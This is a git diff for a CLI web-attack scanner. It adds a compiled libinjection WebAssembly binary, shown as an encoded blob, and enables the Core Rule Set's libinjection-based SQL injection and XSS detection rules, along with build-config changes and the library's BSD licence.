zseK53j=-<`h}+_;)Sg0qY^2V3P-jX|Xa1$mw4u)Y!7rOx=OpXYVx6I!Q$Nc&B_74}&j})6V z7FQP%C&!B&sOM$ypEdP+An(l4)WKrZpI$>WZk&tgkzZ^=e4JSm~0TC%$baR>2<)h`;wArN6mJ{5DZ+O8m_u{wh#^ z&aPFv-B@u*Q*j6NXTP`Pj+e!F?jvvf(1ZJWAa&x_BJ~>-AU^gLi`5g4f$_pA1*^4rLUB} z^+@qVBhiXH%7!0?43oYh{^-E{JK8uv^Y0H9#8>OVlE*oV9{I$w_-!@*dQw;VK>Tyk zM{?6LVgkPxEFph}oRfZjq&Tmo7{>2ZE%0A0{O5!JHqq~S3H2X@|6K6j-9FMEEGuSx zDyHJcH0se3;=LDsy&A24KKQjFem(L=`Zf6V4SD5>U-uPM`(5(pexT%!L&f^M-+%KC zvBAHmm#Tf=Ah9g|&4PcY@Sd+uTz&~vzewV-GXB2LyShLA&Say0WAOJ7{M`h9zu(F{ zxx}CZu|$kmxTAOp|K{gBj;Bb!d!u-7f@sBgbfbR>&f`VA+Q)Mq{Wy>kzZ3EM zXM6SE!@cQ>-z(tvp(E7(fO_SK-w&RZK5T}V>L>n7z4XWLYo1H*hTm)8_w`QF&#(|{ z@y@sqBKf-mtSMUD731({!>*FQ^b_atPWr<;tQ!8$O8)}*eNJiV3_=hNMfb&wV`hrsSoZ&zuO!B{-+ToKtyz{|TL> z_Sd{a@}^0y@<2RsL$sod&_&}+b^~6BoBXHmz+u-EnO)2nU`3C zxUN`A@*CbYOMXcHPF(e8o_OM-1@GHDUDR(Q=ku5Q`uhgyOXJU8_;W4(?8A5E^;hZ_ zzg)~8BtD~#cI+wH!&SUgKrG7pzt9uO0~Uxs{KZ>7Vlw+nt}S^-PRKs}*k{yu=|AwE zuxFnqlcXQYxo73PdvMN$XRE#3XfdLfc-vOILOeblDS0I4{qer!TbIN%;xk`&$t5`7 zK8+;@a=yJd*VUY7PVUpnp6YkcT8u6v25_D`ILB$6UnqX6+gbg3a(=ed`^NYu6aHz2 ze`evIb5;`NWy{VQV+ZZL#l^hh%&99oI>+ z?RqiSJ8|1u(PFIFzNr{eRII@HO-PjNLcX3pBzc9mxR!I^=;DE=X^_Y zzEv6bceC2-;IDF=Z}Yd(S34p;Tq6dK5rf^t%SFUR&%|8#Z)Te0;`q@9KU&90KWvuR z8b99Tp0>a*6@RP!8*%J|f4uO|Z{m44eyLVp{cZ5iUFy^I5hxu5ehzEzC$AEt`4xUcV&lDy!s7)$+jeI>c(a&dN`xSID#mj;q66cCG~ zix+x}<+zW-UQ3QxA%3U+of$5i$lkWyPApbiiwNp?@s^Jb<%s%e+B*T&_9X%9mBacxvKsL$YXcnb@v15?{Tkr zDJeYd5-AZzUui^pXH;K5t zP23iyjyy{kI{Hh$k2>H}Uh*RB+mbB#@ip=IVbNxd z_;j?G)I_XYL_Evy3?H%YBIkN5R_&Q0L>K&ev!~=;tebd8@Z0?I3YK{yyd;d5wj5nBO0+sgqF4UPC_`k&xwO0?8#fw+US(PpBZ~_YsYB`|ta(0P}Q7kpA5nacZ!* zjrw%4gXCJAXB2f|Gj*XN{+Uf(7>zx)KQwMNbzus5UY9&iAkUr0so#`l;?ZKF3*S#4 zpGrOuDh~1$Upk7*bBpJ_hhV=4_GiQX>DV9jM&p9`eW7-$WUI}h%Oo+ll^9=AoXOuQeyx)HE>Ubt z{J-V>5R@c+-*9ouNU>aFaSHE;Ch?NnkO!S!O8!HgX)r``7Z=eXznGbL4_YkwTs^U0 zUa&Uu`u{VhO;W70yo%*>2dlwJV{F$)#Id#ki zdvB4K;i2l+mVCZMUQQ;TJ+XfW`MH(#UvYjRDH>Ol~3CVgC&5e-x2Dgs4t$>mq6;v6Y6ms zbtVq~KBC@)Qg233Z|45dyeZwq_P<0YFERPM*xy~Wsv*Y5iLd|vdntLmy`J>V$zvz( znYvG;pU1uO-A8iXI$~^2anUx>jr>i2CwUF|o04@<$qz1y)1$<8+^_%INOlhp58M?`o)0yHRrX7^IBV5^Mr6-EvY97gQRc4y19wFEUb5kJoOJ%zZ&G}Zt}Dj zd3ucX|7HE$tlyILf8&o1tRF%?&r8<4S$O}Q8!b7uiI}&Dc#C)6zF5i8J;jX6#g>8M zHSV)S-Zg*DN#CQZ_?7$i@)^myI*51d#ZR2iR`S$2MEU{b=}hdLik&w(@4NlfZy9zL z#m;?Oq;HL#=T=L8GF#k;yH;7S~e;+SA{&xAYmQTcck~p0Gl^6(p`3 zE`E0vhggbrsUw}JBct(eH1#Au^&}JZWEb_MD)q#l{ZwEd*_h9s`DQcEtDjo$x~CY( zJij|je#ARy3+FO+v-I01iGNy&jZ29u4v7QE_p*E!+(?o>JY4)TQXIp(=W-#*>-Zfo zKmM}7Uw-(j0sacZUpesCWd1%mhWF2B>SosMnzzsku@Cm-$DVJSq_@JJf!MRFr1UKl z#mdBWYwSxSA1`t*_rX3_>9s+riWn7EaCbBOoLkdM-L#ZR**N;fHpNc|@Y8<$)QGzKxPkg@ z#Xrlb`z5KLMS0(}#GbDy>i=@1SO9xEVb5aTBdhMJJs0-uiI!Xid)|=OvBl)`cYy^b#Vgs%lmN2$<*7$#96t*(jTGzbf!+%ik7|xNk#ae?|VhAaBca-ruQ5zCG37kMsUsM)D)__z%AyR_7hmJx%Qn#B*-^_hgy$ zCHT&-=OTG8^H~wsvxpyCzH^+2pM)s&uR;G0){^Js607q4Q2B}Ew4LIV1!9tqm|k1# zS3x|PQ*^YYojTL`vE;}*V!%1E+ct6geDS$I`Yz&-T4G7&f1gA00`jsP;|3AWcWSDA zRB16KUEKLj+m$b+#ZB_Dh%wp%M686*C3 z6P=2RLx>kQZ^^y+&e?lWazpO#HqRs^zEnhv@&ii2D1J|G%h@2gv{1#BZl- z>Q|Wj4_GaE>1^?RAMr+6F)#T)mHf}e?*UoWo5c!;RPva(E71PM)aO%S{>cdFt z!z=RqCiTIA`cR7bT&NH6Z#17R^X*&7{M<`JsSg(lO7BQrh$-IBb{&HUHN>tBxQSCzQE zmm)cmxV^-?q5^UIb%NR*h}&nx;W*;<9`UsaeO==68gV)6p~mmWj~R%|pNFLHN?i6M zE|(CO(}>Fp#9?*f@(J-&Izr*7LwN!w=0Raqr`0r@l}<$ z-9ub8C$4G}w|}?~iV?SEn5PwSTZXu8wN>j)WZnzJZ3E)AHuEnluYSjfTjLq_-|yZl zgQb7bLF`#m992r}K|Fq)A=v?c?#wMYk~-IcxSvnlHzn?K5%+$?{mvE|cb@ouTU>HY z)|rDonRn|t;=cVu^_xfBZ;O|Fo47AW+}q8Tz6Nn`N8Ec7_lJn{bqVU1n>cPn+_@9S z>xk2a#PI>*IE*;{TTSEN6%xA=$B$l1PCY1ISs~^jj;9dEw=Jcw5hFSg$008z4+#^! z@%v#v$pwhxH7=4*5_jYCOAg{4R+l)oC5}52$2W=Nv?c2Qc%ayoI3CS>j>K^{zB4{7 zRKL0bqLqVKgZk>h`^)`_^joOU7F{Jr6VFM+_aO444{_ay{D>xwkM+~IiNvoR`SF|h zT}FIvAda&#Pag8)#aWFXvqkL5ygU6RmmxoLGXF&KV?Fb`{#Czwy~M+O-+cQmxqWvr z{HHk6Q*`()Ms*f9Z4j68PAa%qa@Ts|r##}T_u~5XV)8iAuDLkGO3X1@{NycK@cs_r zzKwn%eY<7i+`-}zXK__N@f7Diu$yGZ{^AS|aT)#(?IihJx;XirSZtj*ZLD~rsra|3 z*zc|QbB(ywO?*{EbdD2Ki03!al4p{C0o5g!;XShCmE=X#_fot^jx~@zsDPM49sfan z&i+XHu@}WM*t?eBn~N@zzDHd#Ew?!QyttJ3y-U1aBhD%k-_w26Z%S>^kNEZ_uQzm* z-UUBI^Sg)NQ|W7jikI+zA4kar*hir#$p-?&8Jt^TJITY6#W&PHNAmRw`TDJn+HHyF z#VVHK8uH*ic~FZy@Fx!jd8(h)cX0`M;Lbg9X_fTr zV#NvM#dpr3K6!DQyy$gD{nlI&9nXnRw~8_3P3jTJ{^ZXE@+Y>h^x4Uy7Ua==>TDD4 znPS`z*V5F#%vW(~qUgoF^DlAh9U=YxS>ik5Hr`uu<0j$}TXAY(G2(%kdR07sSv(jf zzUBRV=!;|@`UlhR=?v-p$oCNPy#@Uo=x0a%_a^`2duZHZXK^%jpv+Lo&H3)m%e^u5 zxAZyLNA>5Dr`;Df-VkeF5>G4<1Ez~j$+Oh@l0VysGl^px;y8(W%!}WJK5~zgBA(iQ z*0?)Q#CLbahu6iAP!dfOd;ybZt6@^>daUCvW9gIu}&4%@#UO)uwGhTt#bN4e_z6XIq~ys_W8Sy`h`>fEU9Cb)FT)6?buEIesX_~rfwgsE4^19@%;~R zTUT-3H}N3%;Sko1V%t$fQ`mEQM z_15uD&cV5_;k;uVG(M93+p&K)=4*@Jlh>(VNBq7Bzh5gReM$VjpZN6}BYhwIzrKj% z?but7e0doxeGm41f_;Y&N8x|f-m$k>gTI5e{v&x$cQNNL@wcbAg*YnjE_np=sJIrpl>*~q%mTM}m(@be1%?1G=0;^&$8c^Q5#i=VII=jQl1^seUpb49#LTui4P zG$Y;~Q4hvBs$T`-?LmTM8^#Z(4rV54nxQi2u4` z&jRdNJ4@}uyv2FkFJn2^bneC9__03q;1=I+RXNwK&KmDZzo@&C5AhycGEMTIuHqcx zqZQ}yD?$2yV#H$pVlLt!AYF0^&L^1jS;~GkUsZcc-oNFES2yf`u~hAau&X)yt;jx3 zQ`elRYtyJ}HhGx0f%u$vRvXsOcu#t3*3WuD@^#+rsm~>^V10kSgTFXQpI{-TQQ!7b z-^NqlD*LK^tE1>ieJfr-@)-7WD?)O++oBtF?;ZYhXFtQ)j}`m*&3keb`{~Sn)=@9( zglN9r4q_|vuQK_!y}R^ZJjK%P;y%9Ps&H;W#9t!g>+}2Ej@Rn{&k8ZmO!3ZeF|?;x zy`i|#Qhdz%XZcQw`y+iAb-=5Kl-V4s@ZKB@?u`2h_i1Cu2;g^57hf=HqCM4T!%$ z;?J6U^rs}_`sJP2pY<*e0Nd5P~4_*F$Z}HBLU8H_}1H`+&Vgce~KlRcX zzqG>clM~eMFMpRifE}x_;~aM6!H!PY5l$YBxu)@@iI+cRC0jla< z*WyW%f2*Xvuxz_d@#Y#FyJ($-}u%IuKta@mm=Fx>r~I zrr@7LK9XI_h;jT~X+HVmb58o1kz#raF$DiL!hcopUr+qEx~2LhmJs{mKL`AGy^r+& z;J@@Il9Tb{H|o&>;@uO!o{Lt$p7_-UzwUn{{c`;JbcE!N_;qJN$v4QGn}L#(hKjX# zuYTcvvckVdma2Ux_hm`^n`R;XSnlge#O3=?>DLpFw)p!d_oX-f{$s6vL-Dr{{&vRS zuePdvLoRV@f>^nm9-Zl5i1TT|6lf*3;*|{u1An(3FKMy zbdBF|SgelUM;w)03IBJ%|Dohfd~vl;OBLgIpZKIpuEl*k?55-eoX_+K$%Qy43(l!D ze;*8-r1mGgL$akwF84r;z9CvtSDr4Byr_rhLH;LD_g?T`N%^Jr&E(;y>ynenqXi2k zKkyO@*@(qUiBEag%>NM6N{t9Yh>n4jMX^FEQ>dx4nhFUIJPn`HkfK9LU!rht$5vTU^1pt>vC_{7cmeu&_FD{Yg$ z7Ux@-^DWP~@0-g)%zQPgl_8M`@7%|9Aj46WrOw5e`{L>^C#E(|^u~?k+ z17?YC`0*cK`U$&O#eDB|N8aS=~k zSoBi+?HZyT_2NAB;wtr`AN67l_2LEg#XD=<9_mKvFOtK_w;t4y!%@<&BF}=lNxoV| z?E6{Feorh*y@?@i)_6$oQc)cGNp!z0W~Cmr@|V1mJnLCr@;vNYn=JY6HSr+vW3@)| z{n6sHCZcT-@i^b{N!WM#f%LJl;_qQ|IJKh3>gh;tjsyK!U%^~>oa{v_^mF;6@4{^c39j|&zzkoTuM zNUp+pMv`x9$Tu7O6F|QCVNZ!48W%>sjb+^$5W+f4ocEhakfeUkK4a#X0; z*H?VxD2C=1Pi_@k;IE>LOAL{ITz@eSLoVUpyaR^r8yqCdaaeqJT{RifC8_!ivP-*;or`FnU;M-O_|(OcPt+58_lCGpW`gvQ_E`*HS1 z$)h%jt0s!iT8g&#(-wa&#-G=zmpiYj-vIpilk-YkDSbu!xxA6&)Pmvx>TFf)XieRI zyHxEZ28->SMf-f>L*mrTFqDvleAK%yBk&@#Ziv6*-0QP3Y-fGx8410H%Q2%6p z-|mdP4ev=`0eiDx?-J~tjJ>DuZ*}Yq#$JE!hr86zAJosa*c&`Z^Z%w^CQ`?&us4>x zToS5&&B*67ZWZ_>R9oo!Q0w z*Qhr$s5gD7H%QdJi{hjxu{rnaZX3yM1H{O?;@|Zuta)(;t-5lcQ1aVu8n3?xci}I2)mKLL{ixsFR?T1M|Lf+J- zPE4RqSWzdwPExe&D{1IV1g+4&pU?@iOPLl02;zBE6S`=#QP_u=6VCeZ8OB7h-3A z?A*CUdN=Hh#?E`QrC)`;bNWi&gx#LyBtI`KE};&zpnsFz(*NRjBfr;@N3IZKgT$4? z#gDF{kELi!9dY|3*$@A2q@HA=p1k)|``YhfQR>Nf_G8UH()s&XMdk}&p2t5m?lSXC zVV*CYrN6^FXf5Y5Y_s$mCy8HMiB6@&MTf-RzNy&x{*~mn%f+hL`Iovf8arPWQ2Rmd z1xM_gSWo)GdBtqR{{ZYZ-1A>ukE7lXU8jCG#)_8B#LmUUa@3o>ykC4iO5Ywo1x%ED zvZa{L{auVYKKH8hS@6>;{N#q8Zog6c;g$5mPh;>?TtVp*b{bF?U}J>d$iTa0y+^K0BV3-K85x&HXC8~&Rfhv2`@fueJa<8N0i=1fNe9jo(Y%sX(5Lq5j+|qjqQNUq*hH zkK%i-ZkpQTo{Mj8h+~(E-3N)+ssD4BZ=Z$q;oOspA4~psyZC0lSl&n6UQ29PL9Cin zd|Fy8K%FhlJWcLMU;LcdWUDxec~ALEcI+ZnW&VZbB_GHk8rS82_x9po$qze-U2BR% zN{L;F#}Cv$d;D4Vui9_)68BMWQhrNrL48^B|GMHSz5RDFlKQcFgX9I|WuC>7+t(A{ zl82AqOAcQzJ|8ERZ7%v)i5W+WZ@tCr{GL9C-(~i^kiPjcamHYAzq7b3pLlqn*r%IV zy}vlwLtNNToZCq}kuHvTCl**IPN4opHZk*L*uy)d|5LSB4i(Sf|89g4r`0jd2U98SMeRiSxr_>QAl5Zu5>x0DgQT$t#``B)U`p*dxyA2oj zx{Bp2#pUF~P4b}%`7oY*=&s=oEQ$zOVEd$fri+)A^UuJM(TS!2NM4P5RFNxoa-jbcTXZCZ?j4Let><41C)T{pF z{hSx-*NA@h^eamp@S+Y}?4f?a&Y~anAn#Dg4S7#xZ_;=CB-XqwHfEh`oS5ZG76qVeOIR1KAava~~NzWwr#Lo-x>t^CM&nmS)=l)zq zy=h6k$xFT2O1)`7z4?G&mb1=Y)+xt2y*Q^XtoJRi)^TRt)#Sn6Gtw8N4sGK+Zq|{$ z9`|#}M;S7XFn%wso*=e>RbeSu2v&y0VNrObVup-<#ylyFGGrWJaMfPP)r|UK%13vK zLH~#mmBk70NCovzKOlXyu}^cp)osPOe&R9aU9nkm$ngvrD;WJIWz)Ec*)wDuYsfpQ zh<~$+_6OCT!`P>}pCWt2dcopId(mOCXgft*IY)fnMl9+ih8+`g_=+v&iBFCFn)7F9 zqW$f?Aa-LO>n)Nahp6AaEaFPT4s+ak!#~3f_A%}o)BYl(q`zXEli9x7u*=l%nkzYS zx8!Mtf4Ug@dxmUsbQkf9VZSL~Kwr(scXOVIVLIzaPp$NoY&rx+tX&2{Uzs{Ld;af@;8rag(qxtNSM>@dd{HuB8mpQ_>$^f%i`u5HAF z*`792b~Xu?+`zEQ)Ze4uK|9HJIQNVlB+nwQUmNFQ_FuargYmx@&5+^X0LdBACk)iS z3nH&MsrGm5$C`X_HS*4!CzyPwTT`-=F`sGoef)9M*pDgKixg{GsNdO&;)_Y*KqC&# z`9|PBd+Na>;v@%l*#~Q$kHq;uh8^a)?lkN-^Wm{!r+MzxjQyE%{1ElOfj>Nr^E3V4 zroYy^Q$hS?%ww*99zWjRnIYqNL(Xi>XR@hbmq}Y=9+QRP0VCc_`L8j~NgR8H;sLmez}@m`kf8b{|)E$opXL<*l&&-VcZWUy~4yw#=F^+ zV~K-)oX-^2Z%4Z`%nx50=WmW{&wMTHnV0dCu1mJNDDE`;WA=|`pMk75m;L<+RQp-% zDv#YYjCyOvTi5MkZseZi!8PuUrp#abgy!*N{_J*=e_m!D!!9#k9`9CM4I_`@Ik)tR z>c1JeN+rpgIPaQOHIEB*Al$IW+}|o=U6WOJXkKgMeQ4TS`hxV8qs0*X;|Ke(uN4*4 z{~z|Vshavb=MYEdSKaQ%{>m9~W6odOXgAr+Pu$&8@vv;K?94P!^f&sOd31yPtYY}V zjGL{7-^_gvGVC+i(1;6@^$k1Cd3PK2!jyZlui5PTB>qWdKP!+!@zVnA@uI!mKFv3M zj(9ki?771H*5u0}WB#tjdg~0onETzeUHoC>ky#hI8Frd{Pd+r}JU$RNVMe>T-&5@W zo8d>(j=Pa!G#qB^)4bPaVgC~HWjy(nLfwi*pPhJ`IZX4kpq|qaXR%n!0Xj+?QtiW@BA*|JBg9#(sOowP~w<1(B`FOSZ-SF0kzY>9e_NzCP@~ zQESQ1cZe~D9p-wy@kdSLd`;Pf{WUV~!~gtg#Ibq)6T66Ss<3WFwP!No+4M{8>=`mP zF*tah^nW?8$;_9>hzoO`!41@Y4*Rkh{mpT2jPd4rYYjV0f4ri-GW%|HO!_{?KF#(b z$a9JJe8#@a@hgeHJG>*@sISSyXvwB@XY||gcgs<-)0y)uYs8hg z4}an_2KHwjzy4ask9-<#)B&^q8Y523eWr1qWtsmA=UH%z`du~rYv$Lo6Jk96Ut##i z)GtR4H}-4F$B_5HAo}?ucfgNh3TXXUJH`9E$KnCveh-`ttzk*SuV$VcsHVE$VZ7VS z`e19+FVn6^#yTeZV5d8ba8Z4kW{flAB%9$M^LyulaSkSXp-(mHp(%eRK8G6nH~o}u zoVUrv_;uuE$sWY#2xDJn`%T_claS{?ANnmY<~8@%2!C7D)VOuTT`}bCb)+wD*k#UJ z(9oOX8lRB7nz$}y*l+4b1xufq{+npGqyMf*wV&H1ZsndXV2m@z4>Hc#TxTHXew2JX zH-!BXC%=(@&r$#K`{b|YMt?JZ?iu!)^L;V$%Vgp}^;>PMXUc7FDgUM$el+v&vr#9^ zbzO{eGTFz-H}kz?ZN#U^=R2hzZTQbTx6Ov%OupVNwjmEL8sp9Rf3a?yQOC{sUZ#ro zjQBC-wl~zzw!9c-)D3f7QX92fUJ^Gg5rd8MH`}M;ugaYNKK6A7KTRE`{u7R=|3LIN z4ZoV>!?{=La1X>sN*~C+9NE_rJLxUhUkk&(=6FA2UUUD0{(qkIYi{_%)cX>jomk%% z#$wl_qdKQ-(Pi;cQv=F>vXb0_!HKNU2u<5cxOWY}%)Be$`h$*;siJ>>m{ zy{5h%`p?9P2XZ*=_tBRQ(EL9QKbZTOXYA7)|C{fy>*VEf!>?vOu3??RhCfXCwGn3~ zb0cp>!0Kt&Kc{Pe*1~N5k`MA-s(_qM_-m-CTCH<>+ooH$(4xP zBjnjf?up*a*S(th?ZK}$hHTo`-#9@@WShKV7@`I!33#<`e$V(i=G zaN_Qt&Fc5XSM)dfndA2v{;Oc{KJ&IS{9*dl&e*S+m+jeCYr~J`eA$ijHQRd`=VQ`~ z{JBisnSq@<$=g=UbDMbz8}^&)x}Z-m)-~s`#@|`sH^V-2y_@GnJKn*T(38Asi{E37 z-?PmA)s1{N*@bxjO#DBeM?3zWY~+F2?>+mpx!B@TMek?anw4L_OfE%3)f_K|a-{Fh~$ z{I=52oBs4R_HS~mVV7ASLw8Hgy-V{f$Iiyog=0p$Ie!p-_A}1YloPj$G4wxGMY5}r z&u05g?8t_H+>Q0k`+F94lqB97-%$U~tmnYFZ6Geb80(n(9oJAyLSAjGW5#(?>dbm0 zu1vXHuvpu$)0E#Dacbsk%hp=Q+URfY?;3f~*@!Pw-pYQv((k=tr#U{*kWH4nC@wJk zVajPR+VGpXzgEQ46T=^-JlLN7a({f@sdb`^ab|m4WB(?1RTI7Yi)A^7EcjzXRh{3F zA!@H`?8_YY3^||C@4tFQUb+zn&p5B{?X+$YBcDw>Cy)`9X z8uybquD_8VW_wxk;*GIy^E~@c5r-q&Y*D`u!*6E)V9x3KBl&F!tO1{7(fr2@yUcYQ znWvsH-jtu67IPc(n6jtg50jOMKdWHL6Nias$-gg2l3y6>nEe+RelhDu$$pCaU4GKH z=NulB*Lf>RzpI`0pSi32yUp;oInQ|V)sgRw)poMW7dwBD_wR@+A0uwf^C`_aT_*0l zS$Fbft<&!R=VhFW>9^n1-xuU}&<^S6%oA-5KbZZ}jl45imw0JhQ?ea$0s5`M&oe8^ z4iDBT#eA2kH!;RKrkzI%h=J(sv3u7L&A$9@D+YY6jZVV<+b`I_yQh|AMPeKFW1d)VJBua_F>Ln z1iK~~=Vi(@nAhG_<2>ew5#-Ci?Ihp8Kjmvme$2jnX&++5x9Rss#=IsE8s}*GV?^_2K6VCVTbvF|oupMq6(NlscMIvM@Uak=oT z6Y+48ep#cGe=f%Pnf;E>5qI{~eqLpl>`Pu29H{TT5yn2v@4j%uZzhAG8~W^#vU59j z_BZOc+3#;(z4J!S)cg(=HUD$sW36GISvSXH|7+r_j4r*Y14>~p~|&2wAH+t=Yet5nrZUAwh9l&&Ws9PhLhplT(o!8-6wAgjDfolITl& z9Qq{WVelL51TCC2?ttNcbG|h6HD*a}iJZy!_aSEc;v8ZX^he+m!!ENutF35b{JQ~D zj-h=l^n@`+{Fv>oM*TFo!bR*&`$P7>82$g+HTRgT%P5X>33!R1QY52vA%XIuYzUS! z8ETrvMJr~Ib4^jnaa)7|sUtIqi(+|+seg!ui6Bx`H0v$26+ z;O4$X`uVs#GY`rfMT<_~&$Y9()yjV0QQKGpvy3s-9~=-zjsTauj~L ziCYiWz>_1y>|ApH)qWV~bI5Nq_RFceQ2w4(yM^dqf8XSh_`3{`yWydQx@PV*yY2X` zmFJ22aby_g-$eS6irq=-m;^70@Ub7hAEsZuE#_yc+!yuRj9h?RjJ;Qd?Pr4%;B9r1 z>C8qe!W55h5Jqa z68A#CztQ*?;Z?tnQ8^A=BF}4;t1}Hx6VE}vR)P`7ZNC7Xj-nq6-#>#%#OtTt-UK^$ zXt&|CbVCQcOr_p&;C1{))6X>O?qZ&6;Wdgmj*KvWo8}ru<9`l3Jchq_u%8Yur_o;p zn|W?H>1R7UbTh9HF`p}_{|0j#NW7R>i{Fm@@5v^wppF9anMc1jg0t$)t_uD;i0e+g zHlC-ah&w9M>}!zIkeA`Fj`LyErSFNgzY~ue#(~-J>RVy@oJPYy_<0mwA0h9~2HPKi z{~7yCp7@Gk7kp&V*B6<~L)_CV@bDb|JDJC);je=E&0{V{(2sQbQ9^&uGDm+==NQf< z68AlLJH`BUFn`hT;YR#w{G5Z|+&Zgc5B-S2?#)=!JK)i?#N>74*+3mL;b%C!gyN?O zUh6@9FRA_5PJRJAA6v;|x%{1=`x{pomN^VpQU7=3IqGIS>RQ7*)WY*p?$dgHuUsPE zLh^ONQz>#7eaMH;2>PA~|FOjJgqI-p+u-p${qX0!2R!_lZ27N%j|=4O507cwmqz+D z8@?x#@3+j)BKRu8KAbu;$!i-t1#u7bJ(cp!*2zC=8v;|7yHS~!AdX*JAFT-e(r|HZP=fIhhDH9EayHh=D9JMx);F1b?WrX zF~6bMwUW;P_?(3P2lNBvH5-54$eXA)nEZ<7nBQy2PtuPK+{=FY>txQp#{P5SHFDq9V3(C> z@#fL@8}MFAec5%kf6~iPKUZu2o*@2!%jD7A_bd1f=KQ5d+doGCpQqo6^eut>W9rTB zAaj<1+=jfHbK&%-$=mEdOEBC4Zy(XeW7JzhU7N@&bc)%Z!Tw90UvD!%qsi+4@^9qb zL!5EcRgK(3{<}C=4laP_6y_&0%i`VzPqFwt%RPIRa}Oq)-C^|4Fdu#Fdy$um`kLwQ zRr)lIzWhqPh1{QV`t}Xy`{1#!%;I^I@0PVD-@{x>s|WpL3!fgMX_n7zw+ZV1=Tx~% z=0LH2x}6XF%Ftg>^=~D~=Rd(^oKKNDRj>bFMNvO5Dz2?E^yb_WIj8!O$ohFv{rJr@ zy}n1${bJ6^KL`Klu>O}9>1&Nzw{q?!%UhO@EQc&#S+}b3cG>omb%!i}Spl-{ly$2! hL%H{F#~;dC{`d9I&CO779W3cSAS*=H7+ImR{sx|7)QkWC literal 0 HcmV?d00001 diff --git a/apps/cli/src/core/crs/rules.generated.ts b/apps/cli/src/core/crs/rules.generated.ts index 54bcb061..8e2be6e6 100644 --- a/apps/cli/src/core/crs/rules.generated.ts +++ b/apps/cli/src/core/crs/rules.generated.ts @@ -133,18 +133,6 @@ export const CRS_SKIPPED: ReadonlyArray<{ reason: string; ids: number[] }> = [ "ids": [ 941010 ] - }, - { - "reason": "operator @detectXSS", - "ids": [ - 941100 - ] - }, - { - "reason": "operator @detectSQLi", - "ids": [ - 942100 - ] } ]; @@ -4442,6 +4430,31 @@ export const CRS_RULES: readonly CrsRule[] = [ "negated": false } }, + { + "id": 941100, + "msg": "XSS Attack Detected via libinjection", + "severity": "CRITICAL", + "tags": [ + "attack-xss" + ], + "targets": [ + "REQUEST_HEADERS:User-Agent", + "ARGS_NAMES", + "ARGS" + ], + "transforms": [ + "utf8toUnicode", + "urlDecodeUni", + "htmlEntityDecode", + "jsDecode", + "cssDecode", + "removeNulls" + ], + "op": { + "type": "detectXSS", + "negated": false + } + }, { "id": 941110, "msg": "XSS Filter - Category 1: Script Tag Vector", @@ -5128,6 +5141,30 @@ export const CRS_RULES: readonly CrsRule[] = [ "negated": false } }, + { + "id": 942100, + "msg": "SQL Injection Attack Detected via libinjection", + "severity": "CRITICAL", + "tags": [ + "attack-sqli" + ], + "targets": [ + "REQUEST_HEADERS:User-Agent", + "REQUEST_HEADERS:Referer", + "ARGS_NAMES", + "ARGS" + ], + "transforms": [ + "utf8toUnicode", + "urlDecodeUni", + "removeNulls" + ], + "multiMatch": true, + "op": { + "type": "detectSQLi", + "negated": false + } + }, { "id": 942140, "msg": "SQL Injection Attack: Common DB Names Detected", diff --git a/apps/cli/src/core/crs/types.ts b/apps/cli/src/core/crs/types.ts index 422c70bf..d4dc9860 100644 --- a/apps/cli/src/core/crs/types.ts +++ b/apps/cli/src/core/crs/types.ts @@ -35,7 +35,9 @@ export type CrsTransform = export type CrsOperator = | { type: 'rx'; source: string; flags: string; negated: boolean } | { type: 'pm'; phrases: string[]; negated: boolean } - | { type: 'contains' | 'streq' | 'beginsWith' | 'endsWith' | 'within'; arg: string; negated: boolean }; + | { type: 'contains' | 'streq' | 'beginsWith' | 'endsWith' | 'within'; arg: string; negated: boolean } + /** libinjection's SQLi and XSS detectors (./libinjection.ts). */ + | { type: 'detectSQLi' | 'detectXSS'; negated: boolean }; /** A chained SecRule, evaluated against what the rule before it matched. */ export interface CrsChainLink { diff --git a/apps/cli/tsup.config.ts b/apps/cli/tsup.config.ts index 026ad9ac..348a0d69 100644 --- a/apps/cli/tsup.config.ts +++ b/apps/cli/tsup.config.ts @@ -40,5 +40,12 @@ export default defineConfig({ const crsDir = join(__dirname, 'dist', 'crs'); mkdirSync(crsDir, { recursive: true }); for (const f of ['LICENSE', 'NOTICE']) cpSync(join(__dirname, 'src', 'core', 'crs', f), join(crsDir, f)); + // libinjection (BSD-3-Clause), compiled to WebAssembly, is loaded from + // dist/libinjection/ at run time (src/core/crs/libinjection.ts); its + // licence ships with it. + const libinjectionDir = join(__dirname, 'dist', 'libinjection'); + mkdirSync(libinjectionDir, { recursive: true }); + cpSync(join(__dirname, 'src', 'core', 'crs', 'libinjection', 'libinjection.wasm'), join(libinjectionDir, 'libinjection.wasm')); + cpSync(join(__dirname, 'vendor', 'libinjection', 'COPYING'), join(libinjectionDir, 'COPYING')); }, }); diff --git a/apps/cli/vendor/libinjection/COPYING b/apps/cli/vendor/libinjection/COPYING new file mode 100644 index 00000000..5c05bc16 --- /dev/null +++ b/apps/cli/vendor/libinjection/COPYING @@ -0,0 +1,33 @@ +Copyright (c) 2012-2016, Nick Galbreath +Copyright (c) 2017-2024, libinjection Contributors +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +https://github.com/libinjection/libinjection +http://opensource.org/licenses/BSD-3-Clause diff --git a/apps/cli/vendor/libinjection/src/libinjection.h 